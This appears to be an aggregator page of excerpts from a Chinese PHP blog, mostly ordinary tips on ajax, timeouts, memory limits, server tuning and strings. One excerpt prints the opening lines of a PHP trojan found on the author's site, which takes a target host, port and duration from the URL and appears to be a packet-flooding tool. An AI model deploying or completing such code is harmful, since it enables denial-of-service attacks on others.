Quantcast
Channel: php –登高望远
Browsing all 16 articles
Browse latest View live

Jquery使用php进行ajax调用例子

使用Jaquery结合php可以很方便实现ajax调用。 下面是一个例子: HTML代码: ————————————————————————— <html> <head> <title> TEST </title> <meta name=”generator” content=”editplus” /> <meta...

View Article



php运行超时分步执行的简单方法

用PHP处理大量的数据时, 因为PHP对脚本运行时间是有限制的, 一般是30秒, 超过了30秒会运行超时, 在php.ini中可以修改设置. 也可以用set_time_limit(0)设置, 0表示不限时间.   这种方法对于时间不是太长还好, 如果运行时间要几个小时, 这对服务器是一个很大的负担, 并且你不知道程序运行情况如何. 于是, 想到可以把PHP执行进行分步, 一次只执行处理几条数据....

View Article

PHP处理html简单好工具-simplehtmldom

php方面, 网络有很多成熟易用的DOM处理工具, 对比了好几个,  一般都是通过DOM选择器来定位要处理的内容. 也都可以选择标签属性, 如果你还在用PHP的原始函数来处理html吗, 那就太落后了. 这些dom处理工具比自己用PHP函数来处理不知道要高效果多少倍. 这里介绍一下比较简单易用的dom处理工具 –  simplehtmldom.  主要是它小巧, 一个文件就行, 易用,...

View Article

分享一个PHP的google翻译接口GTranslate

Google翻译真的做得很好, 虽然有时候翻译得不是很准确, 但机器翻译有这种水平,应该满足了.  如果你手上有大量的文档要翻译, 肯定不想一个个去google的翻译页面去拷贝粘贴. 这里介绍一个好用的google翻译接口GTranslate,  这是用PHP开发的翻译接口 gtranslate-api-php , 如果你知道一点PHP方面的知识, 很容易就可以写出文档翻译的程序来....

View Article

PHP即时输出内容

通常的情况下用PHP输出内容会先缓存, 到最后全部输出.  如果有一个多步的耗时操作, 所有的结果都要等到页面执行完后才能看到.  中间漫长的过程只有等待. 能不能立即都看到每步的结果呢? 如何让PHP即时输出内容呢.   可以用以下方法设定缓存的输出: ob_start(); //do something to generate $content echo $content;...

View Article


修改PHP运行内存memory大小的几种方法

如果PHP进行比较消耗资源的操作, 有可能会出现内存不足的情况, 默认的设置是32M, 如果内存溢出, 会显示以下错误: 这时候也要让程序运行可以用以下几中方法: 一. 修改PHP运行内存memory的大小. 1.  可以修改配置文件 php.ini 中的 memory_limit = 32M 把32改为64或更大. 记得要重新启动, 可以通过查看 phpinfo 的 memory_limit...

View Article

显示Deprecated: Assigning the return value of new by reference is deprecated...

很多朋友的php程序当php的版本升级到5.3以后,会出现”Deprecated: Assigning the return value of new by reference is deprecated in“ 显示出来。这是因为5.3以后,不能使用”=&”符号,可以直接用”=”就可以了。 所以当出现这个问题后有两种解决方法: 1. 把php的版本降级到5.3以下,但后退的不是明智的选择。...

View Article

使用PHP的header函数修改网页的输出编码

Header函数最常用的一个功能就是用来做页面的跳转,在php运行超时分步执行就用到了. 其实还可以利用header来重新定义网页的输出编码. 最近在做一个PHP页面中, 通过 require(‘blog/wp-blog-header.php’); 这种方法引入wordpress,  因为wp是utf-8编码的,而页面又是gbk的, 所在输出网页的时候全部乱码了. 这时候用在<meta申明...

View Article


lnmp安装后进程优化

lnmp安装后进程优化一下,以更好的发挥VPS的性能 修改php-cgi vi /usr/local/nginx/conf/nginx.conf 其中worker_processes 1;可以修改成2或3个,nginx本身就很强大,不需要像apache那样,开启过多的进程来保证其稳定运行。 vi /usr/local/php/etc/php-fpm.conf 找到<value...

View Article


一个PHP木马的代码

前段时间网站中了一个木马, 被人调用后流量一下就用完了. PHP木马的代码: <?php set_time_limit(999999); $host = $_GET[‘host’]; $port = $_GET[‘port’]; $exec_time = $_GET[‘time’]; $Sendlen = 128; $packets = 0; ignore_user_abort(True);...

View Article

火车采集器为PHP插件增加扩展的方法

火车采集器的PHP插件的实现原理是使用php命令行模式,向php的cli文件发送命令,然后PHP处理php文件,采集器获取返回的数据.从理论上说,PHP插件可以实现几乎所有的PHP功能. 关于PHP命令行,大家可以参考官方的权威说明  http://docs.php.net/manual/zh/features.commandline.php...

View Article

IIS中的PHP出现PHP has encountered an Access Violation的解决方法[转]

PHP在Windows Server 2003 服务器配置好IIS+PHP+MYSQL环境后运行 PHPMyAdmin 提示:PHP has encountered an Access Violation at xxxxx 百度了N个网页找到的全是一Copy了N次的同一个方法,什么权限什么PHP.INI了屁用没有,最后终于在一博友日志中找到有效解决办法,Very Easy 的方法。...

View Article

APMserv:session_start错误以及为静态开启[转]

用APMserv在本地测试时出现seeion_start()的错误 Warning: session_start() [function.session-start]: open_basedir restriction in effect. File(C:\Windows\TEMP\) is not within the allowed path(s):...

View Article


PHP中取得当前url路径(不包括文件名)

使用PHP要获取当前脚本的URL, 在网上找了好久, 要最得当前脚本的方法到很多, 但要找到一个不要包括文件名的方法还是没有找到.这是网上流传很多的方法: echo “http://”.$_SERVER[‘HTTP_HOST’].$_SERVER[‘PHP_SELF’]; 只有自己想办法处理一下:...

View Article

手动解决LNMP一键安装包不支持ionCube[转]

什么是icoCube ionCube是用来加密PHP的工具。ionCube Encoder可以把PHP源代码转换成ByteCode。进行加密授权处理后的PHP代码就不再开源了,必须使用ionCube loader才可以执行加密过的PHP代码 有的时候某些软件就是加密的,必须使用这个软件解密才可以正常使用。 根据说明顺利安装完成icoCube组件,但是探针里显示不支持。SSH里检查得到如下反馈:...

View Article


php 判断字符串中是否包含另一个字符串

php 判断字符串中是否包含另一个字符串 //if(strpos(‘www.baidu.com’,’www’) ===false){ if(strpos(‘www.baidu.com’,’www’) !==false){     echo ‘包含该字符串’; }else{     echo ‘不包含该字符串’; }...

View Article
Browsing all 16 articles
Browse latest View live




Latest Images